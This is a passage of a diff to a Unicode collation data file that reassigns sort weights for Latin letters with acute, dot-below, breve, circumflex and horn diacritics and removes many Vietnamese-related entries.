+1EF8      ; [.1F0B.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER Y WITH TILDE
 0301      ; [.0000.0026.0002][.0000.00F2.0000] # COMBINING ACUTE ACCENT
-00E1      ; [.1BC2.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER A WITH ACUTE
-00C1      ; [.1BC2.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER A WITH ACUTE
-00E9      ; [.1C25.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER E WITH ACUTE
-00C9      ; [.1C25.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER E WITH ACUTE
-00ED      ; [.1CAD.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER I WITH ACUTE
-00CD      ; [.1CAD.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER I WITH ACUTE
-00F3      ; [.1D58.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER O WITH ACUTE
-00D3      ; [.1D58.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER O WITH ACUTE
-00FA      ; [.1E30.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER U WITH ACUTE
-00DA      ; [.1E30.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER U WITH ACUTE
-00FD      ; [.1E86.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER Y WITH ACUTE
-00DD      ; [.1E86.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER Y WITH ACUTE
+00E1      ; [.1C47.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER A WITH ACUTE
+00C1      ; [.1C47.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER A WITH ACUTE
+00E9      ; [.1CAA.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER E WITH ACUTE
+00C9      ; [.1CAA.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER E WITH ACUTE
+00ED      ; [.1D32.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER I WITH ACUTE
+00CD      ; [.1D32.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER I WITH ACUTE
+00F3      ; [.1DDD.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER O WITH ACUTE
+00D3      ; [.1DDD.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER O WITH ACUTE
+00FA      ; [.1EB5.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER U WITH ACUTE
+00DA      ; [.1EB5.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER U WITH ACUTE
+00FD      ; [.1F0B.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER Y WITH ACUTE
+00DD      ; [.1F0B.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER Y WITH ACUTE
 0341      ; [.0000.0026.0002][.0000.00F2.0000] # COMBINING ACUTE TONE MARK
 0323      ; [.0000.0026.0002][.0000.00F3.0000] # COMBINING DOT BELOW
-1EA1      ; [.1BC2.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER A WITH DOT BELOW
-1EA0      ; [.1BC2.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER A WITH DOT BELOW
-1EB9      ; [.1C25.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER E WITH DOT BELOW
-1EB8      ; [.1C25.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER E WITH DOT BELOW
-1ECB      ; [.1CAD.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER I WITH DOT BELOW
-1ECA      ; [.1CAD.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER I WITH DOT BELOW
-1ECD      ; [.1D58.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER O WITH DOT BELOW
-1ECC      ; [.1D58.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER O WITH DOT BELOW
-1EE5      ; [.1E30.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER U WITH DOT BELOW
-1EE4      ; [.1E30.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER U WITH DOT BELOW
-1EF5      ; [.1E86.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER Y WITH DOT BELOW
-1EF4      ; [.1E86.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER Y WITH DOT BELOW
+1EA1      ; [.1C47.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER A WITH DOT BELOW
+1EA0      ; [.1C47.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER A WITH DOT BELOW
+1EB9      ; [.1CAA.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER E WITH DOT BELOW
+1EB8      ; [.1CAA.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER E WITH DOT BELOW
+1ECB      ; [.1D32.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER I WITH DOT BELOW
+1ECA      ; [.1D32.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER I WITH DOT BELOW
+1ECD      ; [.1DDD.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER O WITH DOT BELOW
+1ECC      ; [.1DDD.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER O WITH DOT BELOW
+1EE5      ; [.1EB5.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER U WITH DOT BELOW
+1EE4      ; [.1EB5.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER U WITH DOT BELOW
+1EF5      ; [.1F0B.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER Y WITH DOT BELOW
+1EF4      ; [.1F0B.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER Y WITH DOT BELOW
 0306      ; [.0000.0026.0002][.0000.00F4.0000] # COMBINING BREVE
-0115      ; [.1C25.0020.0002][.0000.0026.0002][.0000.00F4.0000] # LATIN SMALL LETTER E WITH BREVE
-0114      ; [.1C25.0020.0008][.0000.0026.0002][.0000.00F4.0000] # LATIN CAPITAL LETTER E WITH BREVE
-012D      ; [.1CAD.0020.0002][.0000.0026.0002][.0000.00F4.0000] # LATIN SMALL LETTER I WITH BREVE
-012C      ; [.1CAD.0020.0008][.0000.0026.0002][.0000.00F4.0000] # LATIN CAPITAL LETTER I WITH BREVE
-014F      ; [.1D58.0020.0002][.0000.0026.0002][.0000.00F4.0000] # LATIN SMALL LETTER O WITH BREVE
-014E      ; [.1D58.0020.0008][.0000.0026.0002][.0000.00F4.0000] # LATIN CAPITAL LETTER O WITH BREVE
-016D      ; [.1E30.0020.0002][.0000.0026.0002][.0000.00F4.0000] # LATIN SMALL LETTER U WITH BREVE
-016C      ; [.1E30.0020.0008][.0000.0026.0002][.0000.00F4.0000] # LATIN CAPITAL LETTER U WITH BREVE
-0103      ; [.1BC3.0020.0002] # LATIN SMALL LETTER A WITH BREVE
-0061 0306 ; [.1BC3.0020.0002] # LATIN SMALL LETTER A WITH BREVE
-0102      ; [.1BC3.0020.0008] # LATIN CAPITAL LETTER A WITH BREVE
-0041 0306 ; [.1BC3.0020.0008] # LATIN CAPITAL LETTER A WITH BREVE
-1EB1      ; [.1BC3.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER A WITH BREVE AND GRAVE
-1EB0      ; [.1BC3.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER A WITH BREVE AND GRAVE
-1EAF      ; [.1BC3.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER A WITH BREVE AND ACUTE
-1EAE      ; [.1BC3.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER A WITH BREVE AND ACUTE
-1EB5      ; [.1BC3.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER A WITH BREVE AND TILDE
-1EB4      ; [.1BC3.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER A WITH BREVE AND TILDE
-1EB3      ; [.1BC3.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER A WITH BREVE AND HOOK ABOVE
-1EB2      ; [.1BC3.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER A WITH BREVE AND HOOK ABOVE
-1EB7      ; [.1BC3.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER A WITH BREVE AND DOT BELOW
-1EB6      ; [.1BC3.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER A WITH BREVE AND DOT BELOW
-00E2      ; [.1BC4.0020.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX
-0061 0302 ; [.1BC4.0020.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX
-00C2      ; [.1BC4.0020.0008] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX
-0041 0302 ; [.1BC4.0020.0008] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX
-1EA7      ; [.1BC4.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND GRAVE
-1EA6      ; [.1BC4.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND GRAVE
-1EA5      ; [.1BC4.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND ACUTE
-1EA4      ; [.1BC4.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND ACUTE
-1EAB      ; [.1BC4.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND TILDE
-1EAA      ; [.1BC4.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND TILDE
-1EA9      ; [.1BC4.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND HOOK ABOVE
-1EA8      ; [.1BC4.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND HOOK ABOVE
-1EAD      ; [.1BC4.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND DOT BELOW
-1EAC      ; [.1BC4.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND DOT BELOW
-0111      ; [.1C0B.0020.0002] # LATIN SMALL LETTER D WITH STROKE
-0064 0335 ; [.1C0B.0020.0002] # LATIN SMALL LETTER D WITH STROKE
-0110      ; [.1C0B.0020.0008] # LATIN CAPITAL LETTER D WITH STROKE
-0044 0335 ; [.1C0B.0020.0008] # LATIN CAPITAL LETTER D WITH STROKE
-00EA      ; [.1C26.0020.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX
-0065 0302 ; [.1C26.0020.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX
-00CA      ; [.1C26.0020.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
-0045 0302 ; [.1C26.0020.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
-1EC1      ; [.1C26.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
-1EC0      ; [.1C26.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
-1EBF      ; [.1C26.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
-1EBE      ; [.1C26.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
-1EC5      ; [.1C26.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE
-1EC4      ; [.1C26.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE
-1EC3      ; [.1C26.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
-1EC2      ; [.1C26.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
-1EC7      ; [.1C26.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW
-1EC6      ; [.1C26.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW
-00F4      ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX
-006F 0302 ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX
-00D4      ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX
-004F 0302 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX
-1ED3      ; [.1D59.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND GRAVE
-1ED2      ; [.1D59.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND GRAVE
-1ED1      ; [.1D59.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND ACUTE
-1ED0      ; [.1D59.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND ACUTE
-1ED7      ; [.1D59.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND TILDE
-1ED6      ; [.1D59.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND TILDE
-1ED5      ; [.1D59.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE
-1ED4      ; [.1D59.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE
-1ED9      ; [.1D59.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW
-1ED8      ; [.1D59.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW
-01A1      ; [.1D5A.0020.0002] # LATIN SMALL LETTER O WITH HORN
-006F 031B ; [.1D5A.0020.0002] # LATIN SMALL LETTER O WITH HORN
-01A0      ; [.1D5A.0020.0008] # LATIN CAPITAL LETTER O WITH HORN
-004F 031B ; [.1D5A.0020.0008] # LATIN CAPITAL LETTER O WITH HORN
-1EDD      ; [.1D5A.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH HORN AND GRAVE
-1EDC      ; [.1D5A.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH HORN AND GRAVE
-1EDB      ; [.1D5A.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER O WITH HORN AND ACUTE
-1EDA      ; [.1D5A.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER O WITH HORN AND ACUTE
-1EE1      ; [.1D5A.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER O WITH HORN AND TILDE
-1EE0      ; [.1D5A.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER O WITH HORN AND TILDE
-1EDF      ; [.1D5A.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER O WITH HORN AND HOOK ABOVE
-1EDE      ; [.1D5A.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER O WITH HORN AND HOOK ABOVE
-1EE3      ; [.1D5A.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER O WITH HORN AND DOT BELOW
-1EE2      ; [.1D5A.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER O WITH HORN AND DOT BELOW
-01B0      ; [.1E31.0020.0002] # LATIN SMALL LETTER U WITH HORN
-0075 031B ; [.1E31.0020.0002] # LATIN SMALL LETTER U WITH HORN
-01AF      ; [.1E31.0020.0008] # LATIN CAPITAL LETTER U WITH HORN
-0055 031B ; [.1E31.0020.0008] # LATIN CAPITAL LETTER U WITH HORN
-1EEB      ; [.1E31.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH HORN AND GRAVE
-1EEA      ; [.1E31.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH HORN AND GRAVE
-1EE9      ; [.1E31.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER U WITH HORN AND ACUTE
-1EE8      ; [.1E31.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER U WITH HORN AND ACUTE
-1EEF      ; [.1E31.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER U WITH HORN AND TILDE
-1EEE      ; [.1E31.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER U WITH HORN AND TILDE
-1EED      ; [.1E31.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER U WITH HORN AND HOOK ABOVE
-1EEC      ; [.1E31.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER U WITH HORN AND HOOK ABOVE
-1EF1      ; [.1E31.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER U WITH HORN AND DOT BELOW
-1EF0      ; [.1E31.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER U WITH HORN AND DOT BELOW
-1EA1 0306 ; [.1BC3.0020.0002][.0000.0026.0002][.0000.00F3.0000] # <LATIN SMALL LETTER A WITH DOT BELOW, COMBINING BREVE>
-1EA0 0306 ; [.1BC3.0020.0008][.0000.0026.0002][.0000.00F3.0000] # <LATIN CAPITAL LETTER A WITH DOT BELOW, COMBINING BREVE>
-1EA1 0302 ; [.1BC4.0020.0002][.0000.0026.0002][.0000.00F3.0000] # <LATIN SMALL LETTER A WITH DOT BELOW, COMBINING CIRCUMFLEX ACCENT>
-1EA0 0302 ; [.1BC4.0020.0008][.0000.0026.0002][.0000.00F3.0000] # <LATIN CAPITAL LETTER A WITH DOT BELOW, COMBINING CIRCUMFLEX ACCENT>
-1EB9 0302 ; [.1C26.0020.0002][.0000.0026.0002][.0000.00F3.0000] # <LATIN SMALL LETTER E WITH DOT BELOW, COMBINING CIRCUMFLEX ACCENT>
-1EB8 0302 ; [.1C26.0020.0008][.0000.0026.0002][.0000.00F3.0000] # <LATIN CAPITAL LETTER E WITH DOT BELOW, COMBINING CIRCUMFLEX ACCENT>
-1ECD 0302 ; [.1D59.0020.0002][.0000.0026.0002][.0000.00F3.0000] # <LATIN SMALL LETTER O WITH DOT BELOW, COMBINING CIRCUMFLEX ACCENT>
-1ECC 0302 ; [.1D59.0020.0008][.0000.0026.0002][.0000.00F3.0000] # <LATIN CAPITAL LETTER O WITH DOT BELOW, COMBINING CIRCUMFLEX ACCENT>
-00F2 031B ; [.1D5A.0020.0002][.0000.0025.0002] # <LATIN SMALL LETTER O WITH GRAVE, COMBINING HORN>
-1ECF 031B ; [.1D5A.0020.0002][.0000.0026.0002][.0000.00F0.0000] # <LATIN SMALL LETTER O WITH HOOK ABOVE, COMBINING HORN>
-00F5 031B ; [.1D5A.0020.0002][.0000.0026.0002][.0000.00F1.0000] # <LATIN SMALL LETTER O WITH TILDE, COMBINING HORN>
-00F3 031B ; [.1D5A.0020.0002][.0000.0026.0002][.0000.00F2.0000] # <LATIN SMALL LETTER O WITH ACUTE, COMBINING HORN>
-1ECD 031B ; [.1D5A.0020.0002][.0000.0026.0002][.0000.00F3.0000] # <LATIN SMALL LETTER O WITH DOT BELOW, COMBINING HORN>
-00D2 031B ; [.1D5A.0020.0008][.0000.0025.0002] # <LATIN CAPITAL LETTER O WITH GRAVE, COMBINING HORN>
-1ECE 031B ; [.1D5A.0020.0008][.0000.0026.0002][.0000.00F0.0000] # <LATIN CAPITAL LETTER O WITH HOOK ABOVE, COMBINING HORN>
-00D5 031B ; [.1D5A.0020.0008][.0000.0026.0002][.0000.00F1.0000] # <LATIN CAPITAL LETTER O WITH TILDE, COMBINING HORN>
-00D3 031B ; [.1D5A.0020.0008][.0000.0026.0002][.0000.00F2.0000] # <LATIN CAPITAL LETTER O WITH ACUTE, COMBINING HORN>
-1ECC 031B ; [.1D5A.0020.0008][.0000.0026.0002][.0000.00F3.0000] # <LATIN CAPITAL LETTER O WITH DOT BELOW, COMBINING HORN>
-00F9 031B ; [.1E31.0020.0002][.0000.0025.0002] # <LATIN SMALL LETTER U WITH GRAVE, COMBINING HORN>
-1EE7 031B ; [.1E31.0020.0002][.0000.0026.0002][.0000.00F0.0000] # <LATIN SMALL LETTER U WITH HOOK ABOVE, COMBINING HORN>
-0169 031B ; [.1E31.0020.0002][.0000.0026.0002][.0000.00F1.0000] # <LATIN SMALL LETTER U WITH TILDE, COMBINING HORN>
-00FA 031B ; [.1E31.0020.0002][.0000.0026.0002][.0000.00F2.0000] # <LATIN SMALL LETTER U WITH ACUTE, COMBINING HORN>
-1EE5 031B ; [.1E31.0020.0002][.0000.0026.0002][.0000.00F3.0000] # <LATIN SMALL LETTER U WITH DOT BELOW, COMBINING HORN>
-00D9 031B ; [.1E31.0020.0008][.0000.0025.0002] # <LATIN CAPITAL LETTER U WITH GRAVE, COMBINING HORN>
-1EE6 031B ; [.1E31.0020.0008][.0000.0026.0002][.0000.00F0.0000] # <LATIN CAPITAL LETTER U WITH HOOK ABOVE, COMBINING HORN>
-0168 031B ; [.1E31.0020.0008][.0000.0026.0002][.0000.00F1.0000] # <LATIN CAPITAL LETTER U WITH TILDE, COMBINING HORN>
-00DA 031B ; [.1E31.0020.0008][.0000.0026.0002][.0000.00F2.0000] # <LATIN CAPITAL LETTER U WITH ACUTE, COMBINING HORN>
-1EE4 031B ; [.1E31.0020.0008][.0000.0026.0002][.0000.00F3.0000] # <LATIN CAPITAL LETTER U WITH DOT BELOW, COMBINING HORN>
-0061 0323 0306 ; [.1BC3.0020.0002][.0000.0026.0002][.0000.00F3.0000] # <LATIN SMALL LETTER A, COMBINING DOT BELOW, COMBINING BREVE>
-0041 0323 0306 ; [.1BC3.0020.0008][.0000.0026.0002][.0000.00F3.0000] # <LATIN CAPITAL LETTER A, COMBINING DOT BELOW, COMBINING BREVE>
-0061 0323 0302 ; [.1BC4.0020.0002][.0000.0026.0002][.0000.00F3.0000] # <LATIN SMALL LETTER A, COMBINING DOT BELOW, COMBINING CIRCUMFLEX ACCENT>
-0041 0323 0302 ; [.1BC4.0020.0008][.0000.0026.0002][.0000.00F3.0000] # <LATIN CAPITAL LETTER A, COMBINING DOT BELOW, COMBINING CIRCUMFLEX ACCENT>
-0065 0323 0302 ; [.1C26.0020.0002][.0000.0026.0002][.0000.00F3.0000] # <LATIN SMALL LETTER E, COMBINING DOT BELOW, COMBINING CIRCUMFLEX ACCENT>
-0045 0323 0302 ; [.1C26.0020.0008][.0000.0026.0002][.0000.00F3.0000] # <LATIN CAPITAL LETTER E, COMBINING DOT BELOW, COMBINING CIRCUMFLEX ACCENT>
-006F 0323 0302 ; [.1D59.0020.0002][.0000.0026.0002][.0000.00F3.0000] # <LATIN SMALL LETTER O, COMBINING DOT BELOW, COMBINING CIRCUMFLEX ACCENT>
-004F 0323 0302 ; [.1D59.0020.0008][.0000.0026.0002][.0000.00F3.0000] # <LATIN CAPITAL LETTER O, COMBINING DOT BELOW, COMBINING CIRCUMFLEX ACCENT>
-006F 0300 031B ; [.1D5A.0020.0002][.0000.0025.0002] # <LATIN SMALL LETTER O, COMBINING GRAVE ACCENT, COMBINING HORN>
-006F 0340 031B ; [.1D5A.0020.0002][.0000.0025.0002] # <LATIN SMALL LETTER O, COMBINING GRAVE TONE MARK, COMBINING HORN>
-006F 0309 031B ; [.1D5A.0020.0002][.0000.0026.0002][.0000.00F0.0000] # <LATIN SMALL LETTER O, COMBINING HOOK ABOVE, COMBINING HORN>
-006F 0303 031B ; [.1D5A.0020.0002][.0000.0026.0002][.0000.00F1.0000] # <LATIN SMALL LETTER O, COMBINING TILDE, COMBINING HORN>
-006F 0301 031B ; [.1D5A.0020.0002][.0000.0026.0002][.0000.00F2.0000] # <LATIN SMALL LETTER O, COMBINING ACUTE ACCENT, COMBINING HORN>
-006F 0341 031B ; [.1D5A.0020.0002][.0000.0026.0002][.0000.00F2.0000] # <LATIN SMALL LETTER O, COMBINING ACUTE TONE MARK, COMBINING HORN>
-006F 0323 031B ; [.1D5A.0020.0002][.0000.0026.0002][.0000.00F3.0000] # <LATIN SMALL LETTER O, COMBINING DOT BELOW, COMBINING HORN>
-004F 0300 031B ; [.1D5A.0020.0008][.0000.0025.0002] # <LATIN CAPITAL LETTER O, COMBINING GRAVE ACCENT, COMBINING HORN>
-004F 0340 031B ; [.1D5A.0020.0008][.0000.0025.0002] # <LATIN CAPITAL LETTER O, COMBINING GRAVE TONE MARK, COMBINING HORN>
-004F 0309 031B ; [.1D5A.0020.0008][.0000.0026.0002][.0000.00F0.0000] # <LATIN CAPITAL LETTER O, COMBINING HOOK ABOVE, COMBINING HORN>
-004F 0303 031B ; [.1D5A.0020.0008][.0000.0026.0002][.0000.00F1.0000] # <LATIN CAPITAL LETTER O, COMBINING TILDE, COMBINING HORN>
-004F 0301 031B ; [.1D5A.0020.0008][.0000.0026.0002][.0000.00F2.0000] # <LATIN CAPITAL LETTER O, COMBINING ACUTE ACCENT, COMBINING HORN>
-004F 0341 031B ; [.1D5A.0020.0008][.0000.0026.0002][.0000.00F2.0000] # <LATIN CAPITAL LETTER O, COMBINING ACUTE TONE MARK, COMBINING HORN>
-004F 0323 031B ; [.1D5A.0020.0008][.0000.0026.0002][.0000.00F3.0000] # <LATIN CAPITAL LETTER O, COMBINING DOT BELOW, COMBINING HORN>
-0075 0300 031B ; [.1E31.0020.0002][.0000.0025.0002] # <LATIN SMALL LETTER U, COMBINING GRAVE ACCENT, COMBINING HORN>
-0075 0340 031B ; [.1E31.0020.0002][.0000.0025.0002] # <LATIN SMALL LETTER U, COMBINING GRAVE TONE MARK, COMBINING HORN>
-0075 0309 031B ; [.1E31.0020.0002][.0000.0026.0002][.0000.00F0.0000] # <LATIN SMALL LETTER U, COMBINING HOOK ABOVE, COMBINING HORN>
-0075 0303 031B ; [.1E31.0020.0002][.0000.0026.0002][.0000.00F1.0000] # <LATIN SMALL LETTER U, COMBINING TILDE, COMBINING HORN>
-0075 0301 031B ; [.1E31.0020.0002][.0000.0026.0002][.0000.00F2.0000] # <LATIN SMALL LETTER U, COMBINING ACUTE ACCENT, COMBINING HORN>
-0075 0341 031B ; [.1E31.0020.0002][.0000.0026.0002][.0000.00F2.0000] # <LATIN SMALL LETTER U, COMBINING ACUTE TONE MARK, COMBINING HORN>
-0075 0323 031B ; [.1E31.0020.0002][.0000.0026.0002][.0000.00F3.0000] # <LATIN SMALL LETTER U, COMBINING DOT BELOW, COMBINING HORN>
-0055 0300 031B ; [.1E31.0020.0008][.0000.0025.0002] # <LATIN CAPITAL LETTER U, COMBINING GRAVE ACCENT, COMBINING HORN>
-0055 0340 031B ; [.1E31.0020.0008][.0000.0025.0002] # <LATIN CAPITAL LETTER U, COMBINING GRAVE TONE MARK, COMBINING HORN>
-0055 0309 031B ; [.1E31.0020.0008][.0000.0026.0002][.0000.00F0.0000] # <LATIN CAPITAL LETTER U, COMBINING HOOK ABOVE, COMBINING HORN>
-0055 0303 031B ; [.1E31.0020.0008][.0000.0026.0002][.0000.00F1.0000] # <LATIN CAPITAL LETTER U, COMBINING TILDE, COMBINING HORN>
-0055 0301 031B ; [.1E31.0020.0008][.0000.0026.0002][.0000.00F2.0000] # <LATIN CAPITAL LETTER U, COMBINING ACUTE ACCENT, COMBINING HORN>
-0055 0341 031B ; [.1E31.0020.0008][.0000.0026.0002][.0000.00F2.0000] # <LATIN CAPITAL LETTER U, COMBINING ACUTE TONE MARK, COMBINING HORN>
-0055 0323 031B ; [.1E31.0020.0008][.0000.0026.0002][.0000.00F3.0000] # <LATIN CAPITAL LETTER U, COMBINING DOT BELOW, COMBINING HORN>
+0115      ; [.1CAA.0020.0002][.0000.0026.0002][.0000.00F4.0000] # LATIN SMALL LETTER E WITH BREVE
